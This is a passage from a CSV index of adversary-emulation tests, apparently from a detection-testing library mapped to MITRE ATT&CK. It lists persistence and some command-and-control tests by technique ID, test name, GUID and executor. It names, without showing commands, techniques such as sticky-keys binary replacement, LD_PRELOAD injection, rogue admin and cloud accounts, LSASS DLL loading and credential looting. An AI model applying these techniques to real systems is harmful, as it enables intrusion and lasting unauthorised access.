Registry,89,Abusing MyComputer Disk Backup Path for Persistence,599f3b5c-0323-44ed-bb63-4551623bf675,command_prompt +persistence,T1112,Modify Registry,90,Adding custom paths for application execution,573d15da-c34e-4c59-a7d2-18f20d92dfa3,command_prompt +persistence,T1543.004,Create or Modify System Process: Launch Daemon,1,Launch Daemon,03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf,bash +persistence,T1574.008,Hijack Execution Flow: Path Interception by Search Order Hijacking,1,powerShell Persistence via hijacking default modules - Get-Variable.exe,1561de08-0b4b-498e-8261-e922f3494aae,powershell +persistence,T1505.003,Server Software Component: Web Shell,1,Web Shell Written to Disk,0a2ce662-1efa-496f-a472-2fe7b080db16,command_prompt +persistence,T1078.001,Valid Accounts: Default Accounts,1,Enable Guest account with RDP capability and admin privileges,99747561-ed8d-47f2-9c91-1e5fde1ed6e0,command_prompt +persistence,T1078.001,Valid Accounts: Default Accounts,2,Activate Guest Account,aa6cb8c4-b582-4f8e-b677-37733914abda,command_prompt +persistence,T1078.001,Valid Accounts: Default Accounts,3,Enable Guest Account on macOS,0315bdff-4178-47e9-81e4-f31a6d23f7e4,sh +persistence,T1547.003,Time Providers,1,Create a new time provider,df1efab7-bc6d-4b88-8be9-91f55ae017aa,powershell +persistence,T1547.003,Time Providers,2,Edit an existing time provider,29e0afca-8d1d-471a-8d34-25512fc48315,powershell +persistence,T1546.005,Event Triggered Execution: Trap,1,Trap EXIT,a74b2e07-5952-4c03-8b56-56274b076b61,sh +persistence,T1546.005,Event Triggered Execution: Trap,2,Trap EXIT (freebsd),be1a5d70-6865-44aa-ab50-42244c9fd16f,sh +persistence,T1546.005,Event Triggered Execution: Trap,3,Trap SIGINT,a547d1ba-1d7a-4cc5-a9cb-8d65e8809636,sh +persistence,T1546.005,Event Triggered Execution: Trap,4,Trap SIGINT (freebsd),ade10242-1eac-43df-8412-be0d4c704ada,sh +persistence,T1574.006,Hijack Execution Flow: LD_PRELOAD,1,Shared Library Injection via /etc/ld.so.preload,39cb0e67-dd0d-4b74-a74b-c072db7ae991,bash +persistence,T1574.006,Hijack Execution Flow: LD_PRELOAD,2,Shared Library Injection via LD_PRELOAD,bc219ff7-789f-4d51-9142-ecae3397deae,bash +persistence,T1574.006,Hijack Execution Flow: LD_PRELOAD,3,Dylib Injection via DYLD_INSERT_LIBRARIES,4d66029d-7355-43fd-93a4-b63ba92ea1be,bash +persistence,T1136.001,Create Account: Local Account,1,Create a user account on a Linux system,40d8eabd-e394-46f6-8785-b9bfa1d011d2,bash +persistence,T1136.001,Create Account: Local Account,2,Create a user account on a FreeBSD system,a39ee1bc-b8c1-4331-8e5f-1859eb408518,sh +persistence,T1136.001,Create Account: Local Account,3,Create a user account on a MacOS system,01993ba5-1da3-4e15-a719-b690d4f0f0b2,bash +persistence,T1136.001,Create Account: Local Account,4,Create a new user in a command prompt,6657864e-0323-4206-9344-ac9cd7265a4f,command_prompt +persistence,T1136.001,Create Account: Local Account,5,Create a new user in PowerShell,bc8be0ac-475c-4fbf-9b1d-9fffd77afbde,powershell +persistence,T1136.001,Create Account: Local Account,6,Create a new user in Linux with `root` UID and GID.,a1040a30-d28b-4eda-bd99-bb2861a4616c,bash +persistence,T1136.001,Create Account: Local Account,7,Create a new user in FreeBSD with `root` GID.,d141afeb-d2bc-4934-8dd5-b7dba0f9f67a,sh +persistence,T1136.001,Create Account: Local Account,8,Create a new Windows admin user,fda74566-a604-4581-a4cc-fbbe21d66559,command_prompt +persistence,T1136.001,Create Account: Local Account,9,Create a new Windows admin user via .NET,2170d9b5-bacd-4819-a952-da76dae0815f,powershell +persistence,T1136.001,Create Account: Local Account,10,Create a Linux user via kubectl in a Pod,d9efa6c7-6518-42b2-809a-4f2a8e242b9b,bash +persistence,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,1,Winlogon Shell Key Persistence - PowerShell,bf9f9d65-ee4d-4c3e-a843-777d04f19c38,powershell +persistence,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,2,Winlogon Userinit Key Persistence - PowerShell,fb32c935-ee2e-454b-8fa3-1c46b42e8dfb,powershell +persistence,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,3,Winlogon Notify Key Logon Persistence - PowerShell,d40da266-e073-4e5a-bb8b-2b385023e5f9,powershell +persistence,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,4,Winlogon HKLM Shell Key Persistence - PowerShell,95a3c42f-8c88-4952-ad60-13b81d929a9d,powershell +persistence,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,5,Winlogon HKLM Userinit Key Persistence - PowerShell,f9b8daff-8fa7-4e6a-a1a7-7c14675a545b,powershell +persistence,T1098.004,SSH Authorized Keys,1,Modify SSH Authorized Keys,342cc723-127c-4d3a-8292-9c0c6b4ecadc,sh +persistence,T1546.012,Event Triggered Execution: Image File Execution Options Injection,1,IFEO Add Debugger,fdda2626-5234-4c90-b163-60849a24c0b8,command_prompt +persistence,T1546.012,Event Triggered Execution: Image File Execution Options Injection,2,IFEO Global Flags,46b1f278-c8ee-4aa5-acce-65e77b11f3c1,command_prompt +persistence,T1546.012,Event Triggered Execution: Image File Execution Options Injection,3,GlobalFlags in Image File Execution Options,13117939-c9b2-4a43-999e-0a543df92f0d,powershell +persistence,T1546.008,Event Triggered Execution: Accessibility Features,1,Attaches Command Prompt as a Debugger to a List of Target Processes,3309f53e-b22b-4eb6-8fd2-a6cf58b355a9,powershell +persistence,T1546.008,Event Triggered Execution: Accessibility Features,2,Replace binary of sticky keys,934e90cf-29ca-48b3-863c-411737ad44e3,command_prompt +persistence,T1546.008,Event Triggered Execution: Accessibility Features,3,Create Symbolic Link From osk.exe to cmd.exe,51ef369c-5e87-4f33-88cd-6d61be63edf2,command_prompt +persistence,T1546.008,Event Triggered Execution: Accessibility Features,4,Atbroker.exe (AT) Executes Arbitrary Command via Registry Key,444ff124-4c83-4e28-8df6-6efd3ece6bd4,command_prompt +persistence,T1546.008,Event Triggered Execution: Accessibility Features,5,Auto-start application on user logon,7125eba8-7b30-426b-9147-781d152be6fb,command_prompt +persistence,T1546.008,Event Triggered Execution: Accessibility Features,6,Replace utilman.exe (Ease of Access Binary) with cmd.exe,1db380da-3422-481d-a3c8-6d5770dba580,command_prompt +persistence,T1546.008,Event Triggered Execution: Accessibility Features,7,Replace Magnify.exe (Magnifier binary) with cmd.exe,5e4fa70d-c789-470e-85e1-6992b92bb321,command_prompt +persistence,T1546.008,Event Triggered Execution: Accessibility Features,8,Replace Narrator.exe (Narrator binary) with cmd.exe,2002f5ea-cd13-4c82-bf73-e46722e5dc5e,command_prompt +persistence,T1546.008,Event Triggered Execution: Accessibility Features,9,Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe,825ba8ca-71cc-436b-b1dd-ea0d5e109086,command_prompt +persistence,T1546.008,Event Triggered Execution: Accessibility Features,10,Replace AtBroker.exe (App Switcher binary) with cmd.exe,210be7ea-d841-40ec-b3e1-ff610bb62744,command_prompt +persistence,T1136.002,Create Account: Domain Account,1,Create a new Windows domain admin user,fcec2963-9951-4173-9bfa-98d8b7834e62,command_prompt +persistence,T1136.002,Create Account: Domain Account,2,Create a new account similar to ANONYMOUS LOGON,dc7726d2-8ccb-4cc6-af22-0d5afb53a548,command_prompt +persistence,T1136.002,Create Account: Domain Account,3,Create a new Domain Account using PowerShell,5a3497a4-1568-4663-b12a-d4a5ed70c7d7,powershell +persistence,T1136.002,Create Account: Domain Account,4,Active Directory Create Admin Account,562aa072-524e-459a-ba2b-91f1afccf5ab,sh +persistence,T1136.002,Create Account: Domain Account,5,Active Directory Create User Account (Non-elevated),8c992cb3-a46e-4fd5-b005-b1bab185af31,sh +persistence,T1137.001,Office Application Startup: Office Template Macros.,1,Injecting a Macro into the Word Normal.dotm Template for Persistence via PowerShell,940db09e-80b6-4dd0-8d4d-7764f89b47a8,powershell +persistence,T1546.009,Event Triggered Execution: AppCert DLLs,1,Create registry persistence via AppCert DLL,a5ad6104-5bab-4c43-b295-b4c44c7c6b05,powershell +persistence,T1547.015,Boot or Logon Autostart Execution: Login Items,1,Persistence by modifying Windows Terminal profile,ec5d76ef-82fe-48da-b931-bdb25a62bc65,powershell +persistence,T1547.015,Boot or Logon Autostart Execution: Login Items,2,Add macOS LoginItem using Applescript,716e756a-607b-41f3-8204-b214baf37c1d,bash +persistence,T1098.001,Account Manipulation: Additional Cloud Credentials,1,Azure AD Application Hijacking - Service Principal,b8e747c3-bdf7-4d71-bce2-f1df2a057406,powershell +persistence,T1098.001,Account Manipulation: Additional Cloud Credentials,2,Azure AD Application Hijacking - App Registration,a12b5531-acab-4618-a470-0dafb294a87a,powershell +persistence,T1098.001,Account Manipulation: Additional Cloud Credentials,3,AWS - Create Access Key and Secret Key,8822c3b0-d9f9-4daf-a043-491160a31122,sh +persistence,T1546.003,Event Triggered Execution: Windows Management Instrumentation Event Subscription,1,Persistence via WMI Event Subscription - CommandLineEventConsumer,3c64f177-28e2-49eb-a799-d767b24dd1e0,powershell +persistence,T1546.003,Event Triggered Execution: Windows Management Instrumentation Event Subscription,2,Persistence via WMI Event Subscription - ActiveScriptEventConsumer,fecd0dfd-fb55-45fa-a10b-6250272d0832,powershell +persistence,T1546.003,Event Triggered Execution: Windows Management Instrumentation Event Subscription,3,Windows MOFComp.exe Load MOF File,29786d7e-8916-4de6-9c55-be7b093b2706,powershell +persistence,T1546.001,Event Triggered Execution: Change Default File Association,1,Change Default File Association,10a08978-2045-4d62-8c42-1957bbbea102,command_prompt +persistence,T1546.014,Event Triggered Execution: Emond,1,Persistance with Event Monitor - emond,23c9c127-322b-4c75-95ca-eff464906114,sh +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,1,Reg Key Run,e55be3fd-3521-4610-9d1a-e210e42dcf05,command_prompt +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,2,Reg Key RunOnce,554cbd88-cde1-4b56-8168-0be552eed9eb,command_prompt +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,3,PowerShell Registry RunOnce,eb44f842-0457-4ddc-9b92-c4caa144ac42,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,4,Suspicious vbs file run from startup Folder,2cb98256-625e-4da9-9d44-f2e5f90b8bd5,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,5,Suspicious jse file run from startup Folder,dade9447-791e-4c8f-b04b-3a35855dfa06,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,6,Suspicious bat file run from startup Folder,5b6768e4-44d2-44f0-89da-a01d1430fd5e,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,7,Add Executable Shortcut Link to User Startup Folder,24e55612-85f6-4bd6-ae74-a73d02e3441d,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,8,Add persistance via Recycle bin,bda6a3d6-7aa7-4e89-908b-306772e9662f,command_prompt +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,9,SystemBC Malware-as-a-Service Registry,9dc7767b-30c1-4cc4-b999-50cab5e27891,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,10,Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value,acfef903-7662-447e-a391-9c91c2f00f7b,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,11,Change Startup Folder - HKCU Modify User Shell Folders Startup Value,8834b65a-f808-4ece-ad7e-2acdf647aafa,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,12,HKCU - Policy Settings Explorer Run Key,a70faea1-e206-4f6f-8d9a-67379be8f6f1,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,13,HKLM - Policy Settings Explorer Run Key,b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,14,HKLM - Append Command to Winlogon Userinit KEY Value,f7fab6cc-8ece-4ca7-a0f1-30a22fccd374,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,15,HKLM - Modify default System Shell - Winlogon Shell KEY Value ,1d958c61-09c6-4d9e-b26b-4130314e520e,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,16,secedit used to create a Run key in the HKLM Hive,14fdc3f1-6fc3-4556-8d36-aa89d9d42d02,command_prompt +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,17,Modify BootExecute Value,befc2b40-d487-4a5a-8813-c11085fb5672,powershell +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,18,Allowing custom application to execute during new RDP logon session,b051b3c0-66e7-4a81-916d-e6383bd3a669,command_prompt +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,19,Creating Boot Verification Program Key for application execution during successful boot,6e1666d5-3f2b-4b9a-80aa-f011322380d4,command_prompt +persistence,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,20,Add persistence via Windows Context Menu,de47f4a0-2acb-416d-9a6b-cee584a4c4d1,command_prompt +persistence,T1136.003,Create Account: Cloud Account,1,AWS - Create a new IAM user,8d1c2368-b503-40c9-9057-8e42f21c58ad,sh +persistence,T1136.003,Create Account: Cloud Account,2,Azure AD - Create a new user,e62d23ef-3153-4837-8625-fa4a3829134d,powershell +persistence,T1136.003,Create Account: Cloud Account,3,Azure AD - Create a new user via Azure CLI,228c7498-be31-48e9-83b7-9cb906504ec8,powershell +persistence,T1098,Account Manipulation,1,Admin Account Manipulate,5598f7cb-cf43-455e-883a-f6008c5d46af,powershell +persistence,T1098,Account Manipulation,2,Domain Account and Group Manipulate,a55a22e9-a3d3-42ce-bd48-2653adb8f7a9,powershell +persistence,T1098,Account Manipulation,3,AWS - Create a group and add a user to that group,8822c3b0-d9f9-4daf-a043-49f110a31122,sh +persistence,T1098,Account Manipulation,4,Azure AD - adding user to Azure AD role,0e65ae27-5385-46b4-98ac-607a8ee82261,powershell +persistence,T1098,Account Manipulation,5,Azure AD - adding service principal to Azure AD role,92c40b3f-c406-4d1f-8d2b-c039bf5009e4,powershell +persistence,T1098,Account Manipulation,6,Azure - adding user to Azure role in subscription,1a94b3fc-b080-450a-b3d8-6d9b57b472ea,powershell +persistence,T1098,Account Manipulation,7,Azure - adding service principal to Azure role in subscription,c8f4bc29-a151-48da-b3be-4680af56f404,powershell +persistence,T1098,Account Manipulation,8,Azure AD - adding permission to application,94ea9cc3-81f9-4111-8dde-3fb54f36af4b,powershell +persistence,T1098,Account Manipulation,9,Password Change on Directory Service Restore Mode (DSRM) Account,d5b886d9-d1c7-4b6e-a7b0-460041bf2823,command_prompt +persistence,T1098,Account Manipulation,10,Domain Password Policy Check: Short Password,fc5f9414-bd67-4f5f-a08e-e5381e29cbd1,powershell +persistence,T1098,Account Manipulation,11,Domain Password Policy Check: No Number in Password,68190529-069b-4ffc-a942-919704158065,powershell +persistence,T1098,Account Manipulation,12,Domain Password Policy Check: No Special Character in Password,7d984ef2-2db2-4cec-b090-e637e1698f61,powershell +persistence,T1098,Account Manipulation,13,Domain Password Policy Check: No Uppercase Character in Password,b299c120-44a7-4d68-b8e2-8ba5a28511ec,powershell +persistence,T1098,Account Manipulation,14,Domain Password Policy Check: No Lowercase Character in Password,945da11e-977e-4dab-85d2-f394d03c5887,powershell +persistence,T1098,Account Manipulation,15,Domain Password Policy Check: Only Two Character Classes,784d1349-5a26-4d20-af5e-d6af53bae460,powershell +persistence,T1098,Account Manipulation,16,Domain Password Policy Check: Common Password Use,81959d03-c51f-49a1-bb24-23f1ec885578,powershell +persistence,T1098,Account Manipulation,17,GCP - Delete Service Account Key,7ece1dea-49f1-4d62-bdcc-5801e3292510,sh +persistence,T1547.006,Boot or Logon Autostart Execution: Kernel Modules and Extensions,1,Linux - Load Kernel Module via insmod,687dcb93-9656-4853-9c36-9977315e9d23,bash +persistence,T1547.006,Boot or Logon Autostart Execution: Kernel Modules and Extensions,2,MacOS - Load Kernel Module via kextload and kmutil,f4391089-d3a5-4dd1-ab22-0419527f2672,bash +persistence,T1547.006,Boot or Logon Autostart Execution: Kernel Modules and Extensions,3,MacOS - Load Kernel Module via KextManagerLoadKextWithURL(),f0007753-beb3-41ea-9948-760785e4c1e5,bash +persistence,T1547.006,Boot or Logon Autostart Execution: Kernel Modules and Extensions,4,Snake Malware Kernel Driver Comadmin,e5cb5564-cc7b-4050-86e8-f2d9eec1941f,powershell +persistence,T1053.006,Scheduled Task/Job: Systemd Timers,1,Create Systemd Service and Timer,f4983098-bb13-44fb-9b2c-46149961807b,bash +persistence,T1053.006,Scheduled Task/Job: Systemd Timers,2,Create a user level transient systemd service and timer,3de33f5b-62e5-4e63-a2a0-6fd8808c80ec,sh +persistence,T1053.006,Scheduled Task/Job: Systemd Timers,3,Create a system level transient systemd service and timer,d3eda496-1fc0-49e9-aff5-3bec5da9fa22,sh +persistence,T1505.004,IIS Components,1,Install IIS Module using AppCmd.exe,53adbdfa-8200-490c-871c-d3b1ab3324b2,command_prompt +persistence,T1505.004,IIS Components,2,Install IIS Module using PowerShell Cmdlet New-WebGlobalModule,cc3381fb-4bd0-405c-a8e4-6cacfac3b06c,powershell +persistence,T1546,Event Triggered Execution,1,Persistence with Custom AutodialDLL,aca9ae16-7425-4b6d-8c30-cad306fdbd5b,powershell +persistence,T1546,Event Triggered Execution,2,HKLM - Persistence using CommandProcessor AutoRun key (With Elevation),a574dafe-a903-4cce-9701-14040f4f3532,powershell +persistence,T1546,Event Triggered Execution,3,HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation),36b8dbf9-59b1-4e9b-a3bb-36e80563ef01,powershell +persistence,T1546,Event Triggered Execution,4,WMI Invoke-CimMethod Start Process,adae83d3-0df6-45e7-b2c3-575f91584577,powershell +persistence,T1546,Event Triggered Execution,5,Adding custom debugger for Windows Error Reporting,17d1a3cc-3373-495a-857a-e5dd005fb302,command_prompt +persistence,T1546,Event Triggered Execution,6,Load custom DLL on mstsc execution,2db7852e-5a32-4ec7-937f-f4e027881700,command_prompt +persistence,T1546,Event Triggered Execution,7,Persistence using automatic execution of custom DLL during RDP session,b7fc4c3f-fe6e-479a-ba27-ef91b88536e3,command_prompt +persistence,T1546,Event Triggered Execution,8,Persistence via ErrorHandler.cmd script execution,547a4736-dd1c-4b48-b4fe-e916190bb2e7,powershell +persistence,T1546,Event Triggered Execution,9,Persistence using STARTUP-PATH in MS-WORD,f0027655-25ef-47b0-acaf-3d83d106156c,command_prompt +persistence,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,1,Add command to .bash_profile,94500ae1-7e31-47e3-886b-c328da46872f,sh +persistence,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,2,Add command to .bashrc,0a898315-4cfa-4007-bafe-33a4646d115f,sh +persistence,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,3,Add command to .shrc,41502021-591a-4649-8b6e-83c9192aff53,sh +persistence,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,4,Append to the system shell profile,694b3cc8-6a78-4d35-9e74-0123d009e94b,sh +persistence,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,5,Append commands user shell profile,bbdb06bc-bab6-4f5b-8232-ba3fbed51d77,sh +persistence,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,6,System shell profile scripts,8fe2ccfd-f079-4c03-b1a9-bd9b362b67d4,sh +persistence,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,7,Create/Append to .bash_logout,37ad2f24-7c53-4a50-92da-427a4ad13f58,bash +persistence,T1547.002,Authentication Package,1,Authentication Package,be2590e8-4ac3-47ac-b4b5-945820f2fbe9,powershell +persistence,T1546.015,Event Triggered Execution: Component Object Model Hijacking,1,COM Hijacking - InprocServer32,48117158-d7be-441b-bc6a-d9e36e47b52b,powershell +persistence,T1546.015,Event Triggered Execution: Component Object Model Hijacking,2,Powershell Execute COM Object,752191b1-7c71-445c-9dbe-21bb031b18eb,powershell +persistence,T1546.015,Event Triggered Execution: Component Object Model Hijacking,3,COM Hijacking with RunDLL32 (Local Server Switch),123520cc-e998-471b-a920-bd28e3feafa0,powershell +persistence,T1546.015,Event Triggered Execution: Component Object Model Hijacking,4,COM hijacking via TreatAs,33eacead-f117-4863-8eb0-5c6304fbfaa9,powershell +persistence,T1137.004,Office Application Startup: Outlook Home Page,1,Install Outlook Home Page Persistence,7a91ad51-e6d2-4d43-9471-f26362f5738e,command_prompt +persistence,T1574.009,Hijack Execution Flow: Path Interception by Unquoted Path,1,Execution of program.exe as service with unquoted service path,2770dea7-c50f-457b-84c4-c40a47460d9f,command_prompt +persistence,T1037.005,Boot or Logon Initialization Scripts: Startup Items,1,Add file to Local Library StartupItems,134627c3-75db-410e-bff8-7a920075f198,sh +persistence,T1037.005,Boot or Logon Initialization Scripts: Startup Items,2,Add launch script to launch daemon,fc369906-90c7-4a15-86fd-d37da624dde6,bash +persistence,T1037.005,Boot or Logon Initialization Scripts: Startup Items,3,Add launch script to launch agent,10cf5bec-49dd-4ebf-8077-8f47e420096f,bash +persistence,T1546.018,Event Triggered Execution: Python Startup Hooks,1,Python Startup Hook - atomic_hook.pth (Windows),57289962-21dc-4501-b756-80cd30608d9f,powershell +persistence,T1546.018,Event Triggered Execution: Python Startup Hooks,2,Python Startup Hook - usercustomize.py (Windows),05cc7a2c-ce32-46f2-a358-f27f76718c39,powershell +persistence,T1546.018,Event Triggered Execution: Python Startup Hooks,3,Python Startup Hook - atomic_hook.pth (Linux),a58c066d-f2f0-42a2-ab70-30af73f89e66,sh +persistence,T1546.018,Event Triggered Execution: Python Startup Hooks,4,Python Startup Hook - atomic_hook.pth (macOS),28ca4f81-fa96-47ff-8555-dde98017e89b,sh +persistence,T1546.018,Event Triggered Execution: Python Startup Hooks,5,Python Startup Hook - usercustomize.py (Linux / MacOS),6e78084a-a433-4702-a838-cc7b765d87e8,sh +persistence,T1197,BITS Jobs,1,Bitsadmin Download (cmd),3c73d728-75fb-4180-a12f-6712864d7421,command_prompt +persistence,T1197,BITS Jobs,2,Bitsadmin Download (PowerShell),f63b8bc4-07e5-4112-acba-56f646f3f0bc,powershell +persistence,T1197,BITS Jobs,3,"Persist, Download, & Execute",62a06ec5-5754-47d2-bcfc-123d8314c6ae,command_prompt +persistence,T1197,BITS Jobs,4,Bits download using desktopimgdownldr.exe (cmd),afb5e09e-e385-4dee-9a94-6ee60979d114,command_prompt +persistence,T1546.010,Event Triggered Execution: AppInit DLLs,1,Install AppInit Shim,a58d9386-3080-4242-ab5f-454c16503d18,command_prompt +persistence,T1546.002,Event Triggered Execution: Screensaver,1,Set Arbitrary Binary as Screensaver,281201e7-de41-4dc9-b73d-f288938cbb64,command_prompt +persistence,T1543.001,Create or Modify System Process: Launch Agent,1,Launch Agent,a5983dee-bf6c-4eaf-951c-dbc1a7b90900,bash +persistence,T1543.001,Create or Modify System Process: Launch Agent,2,Event Monitor Daemon Persistence,11979f23-9b9d-482a-9935-6fc9cd022c3e,bash +persistence,T1543.001,Create or Modify System Process: Launch Agent,3,Launch Agent - Root Directory,66774fa8-c562-4bae-a58d-5264a0dd9dd7,bash +persistence,T1037.004,Boot or Logon Initialization Scripts: Rc.common,1,rc.common,97a48daa-8bca-4bc0-b1a9-c1d163e762de,bash +persistence,T1037.004,Boot or Logon Initialization Scripts: Rc.common,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash +persistence,T1037.004,Boot or Logon Initialization Scripts: Rc.common,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,sh +persistence,T1543.002,Create or Modify System Process: SysV/Systemd Service,1,Create Systemd Service,d9e4f24f-aa67-4c6e-bcbf-85622b697a7c,bash +persistence,T1543.002,Create or Modify System Process: SysV/Systemd Service,2,Create SysV Service,760fe8d2-79d9-494f-905e-a239a3df86f6,sh +persistence,T1543.002,Create or Modify System Process: SysV/Systemd Service,3,"Create Systemd Service file, Enable the service , Modify and Reload the service.",c35ac4a8-19de-43af-b9f8-755da7e89c89,bash +persistence,T1547.007,Boot or Logon Autostart Execution: Re-opened Applications,1,Copy in loginwindow.plist for Re-Opened Applications,5fefd767-ef54-4ac6-84d3-751ab85e8aba,sh +persistence,T1547.007,Boot or Logon Autostart Execution: Re-opened Applications,2,Re-Opened Applications using LoginHook,5f5b71da-e03f-42e7-ac98-d63f9e0465cb,sh +persistence,T1547.007,Boot or Logon Autostart Execution: Re-opened Applications,3,Append to existing loginwindow for Re-Opened Applications,766b6c3c-9353-4033-8b7e-38b309fa3a93,sh +persistence,T1098.002,Account Manipulation: Additional Email Delegate Permissions,1,EXO - Full access mailbox permission granted to a user,17d046be-fdd0-4cbb-b5c7-55c85d9d0714,powershell +persistence,T1037.001,Boot or Logon Initialization Scripts: Logon Script (Windows),1,Logon Scripts,d6042746-07d4-4c92-9ad8-e644c114a231,command_prompt +persistence,T1137.002,Office Application Startup: Office Test,1,Office Application Startup Test Persistence (HKCU),c3e35b58-fe1c-480b-b540-7600fb612563,powershell +persistence,T1547.008,Boot or Logon Autostart Execution: LSASS Driver,1,Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt,8ecef16d-d289-46b4-917b-0dba6dc81cf1,powershell +persistence,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh +persistence,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell +persistence,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh +persistence,T1053.002,Scheduled Task/Job: At,1,At.exe Scheduled task,4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8,command_prompt +persistence,T1053.002,Scheduled Task/Job: At,2,At - Schedule a job,7266d898-ac82-4ec0-97c7-436075d0d08e,sh +persistence,T1053.002,Scheduled Task/Job: At,3,At - Schedule a job via kubectl in a Pod,9ddf2e5e-7e2c-46c2-9940-3c2ff29c7213,bash +persistence,T1546.007,Event Triggered Execution: Netsh Helper DLL,1,Netsh Helper DLL Registration,3244697d-5a3a-4dfc-941c-550f69f91a4d,command_prompt +persistence,T1078.003,Valid Accounts: Local Accounts,1,Create local account with admin privileges,a524ce99-86de-4db6-b4f9-e08f35a47a15,command_prompt +persistence,T1078.003,Valid Accounts: Local Accounts,2,Create local account with admin privileges - MacOS,f1275566-1c26-4b66-83e3-7f9f7f964daa,bash +persistence,T1078.003,Valid Accounts: Local Accounts,3,Create local account with admin privileges using sysadminctl utility - MacOS,191db57d-091a-47d5-99f3-97fde53de505,bash +persistence,T1078.003,Valid Accounts: Local Accounts,4,Enable root account using dsenableroot utility - MacOS,20b40ea9-0e17-4155-b8e6-244911a678ac,bash +persistence,T1078.003,Valid Accounts: Local Accounts,5,Add a new/existing user to the admin group using dseditgroup utility - macOS,433842ba-e796-4fd5-a14f-95d3a1970875,bash +persistence,T1078.003,Valid Accounts: Local Accounts,6,WinPwn - Loot local Credentials - powerhell kittie,9e9fd066-453d-442f-88c1-ad7911d32912,powershell +persistence,T1078.003,Valid Accounts: Local Accounts,7,WinPwn - Loot local Credentials - Safetykatz,e9fdb899-a980-4ba4-934b-486ad22e22f4,powershell +persistence,T1078.003,Valid Accounts: Local Accounts,8,Create local account (Linux),02a91c34-8a5b-4bed-87af-501103eb5357,bash +persistence,T1078.003,Valid Accounts: Local Accounts,9,Reactivate a locked/expired account (Linux),d2b95631-62d7-45a3-aaef-0972cea97931,bash +persistence,T1078.003,Valid Accounts: Local Accounts,10,Reactivate a locked/expired account (FreeBSD),09e3380a-fae5-4255-8b19-9950be0252cf,sh +persistence,T1078.003,Valid Accounts: Local Accounts,11,Login as nobody (Linux),3d2cd093-ee05-41bd-a802-59ee5c301b85,bash +persistence,T1078.003,Valid Accounts: Local Accounts,12,Login as nobody (freebsd),16f6374f-7600-459a-9b16-6a88fd96d310,sh +persistence,T1078.003,Valid Accounts: Local Accounts,13,Use PsExec to elevate to NT Authority\SYSTEM account,6904235f-0f55-4039-8aed-41c300ff7733,command_prompt +persistence,T1574.012,Hijack Execution Flow: COR_PROFILER,1,User scope COR_PROFILER,9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a,powershell +persistence,T1574.012,Hijack Execution Flow: COR_PROFILER,2,System Scope COR_PROFILER,f373b482-48c8-4ce4-85ed-d40c8b3f7310,powershell +persistence,T1574.012,Hijack Execution Flow: COR_PROFILER,3,Registry-free process scope COR_PROFILER,79d57242-bbef-41db-b301-9d01d9f6e817,powershell +command-and-control,T1132.001,Data Encoding: Standard Encoding,1,Base64 Encoded data.,1164f70f-9a88-4dff-b9ff-dc70e7bf0c25,sh +command-and-control,T1132.001,Data Encoding: Standard Encoding,2,Base64 Encoded data (freebsd),2d97c626-7652-449e-a986-b02d9051c298,sh +command-and-control,T1132.001,Data Encoding: Standard Encoding,3,XOR Encoded data.,c3ed6d2a-e3ad-400d-ad78-bbfdbfeacc08,powershell +command-and-control,T1071.004,Application Layer Protocol: DNS,1,DNS Large Query Volume,1700f5d6-5a44-487b-84de-bc66f507b0a6,powershell +command-and-control,T1071.004,Application Layer Protocol: DNS,2,DNS Regular 